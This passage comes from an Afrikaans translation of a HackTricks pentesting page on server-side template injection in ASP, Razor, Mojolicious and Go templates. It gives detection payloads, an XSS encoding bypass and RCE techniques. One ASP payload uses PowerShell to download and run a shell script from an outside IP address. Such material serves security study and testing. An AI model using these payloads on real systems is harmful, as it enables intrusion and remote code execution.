Die .NET System.Diagnostics.Process.Start metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. 'n Kwesbare webtoepassingsvoorbeeld kan gevind word in https://github.com/cnotin/RazorVulnerableApp

Meer inligting

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Niks
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Meer Inligting

Mojolicious (Perl)

Selfs al is dit perl, gebruik dit tage soos ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Fout
<%= perl code %>
<% perl code %>

SSTI in GO

In Go se templaat-enjin, kan bevestiging van sy gebruik gedoen word met spesifieke payloads:

  • {{ . }}: Onthul die datastruktuur inset. Byvoorbeeld, as 'n objek met 'n Password eienskap oorgedra word, kan {{ .Password }} dit blootstel.
  • {{printf "%s" "ssti" }}: Verwag om die string "ssti" te vertoon.
  • {{html "ssti"}}, {{js "ssti"}}: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan verken word in die Go-dokumentasie hier.

XSS Uitbuiting

Met die text/template pakket kan XSS maklik wees deur die payload direk in te voeg. In teenstelling kodeer die html/template pakket die reaksie om dit te voorkom (bv., {{"<script>alert(1)</script>"}} lei tot &lt;script&gt;alert(1)&lt;/script&gt;). Nietemin, templaatdefinisie en aanroeping in Go kan hierdie kodering omseil: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Kopieer kode

RCE Uitbuiting

RCE-uitbuiting verskil aansienlik tussen html/template en text/template. Die text/template module maak dit moontlik om enige openbare funksie direk te roep (deur die "call" waarde te gebruik), wat nie toegelaat word in html/template nie. Dokumentasie vir hierdie modules is beskikbaar hier vir html/template en hier vir text/template.

Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n System metode het wat bevele uitvoer, kan dit uitgebuit word soos {{ .System "ls" }}. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Meer inligting

Meer Uitbuitings

Kyk na die res van https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection vir meer uitbuitings. Jy kan ook interessante tag-inligting vind in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Verwante Hulp

As jy dink dit kan nuttig wees, lees:

Gereedskap

Brute-Force Opmerkingslys

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Oefening & Verwysings

RootedCON is die mees relevante sibersekuriteitsgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: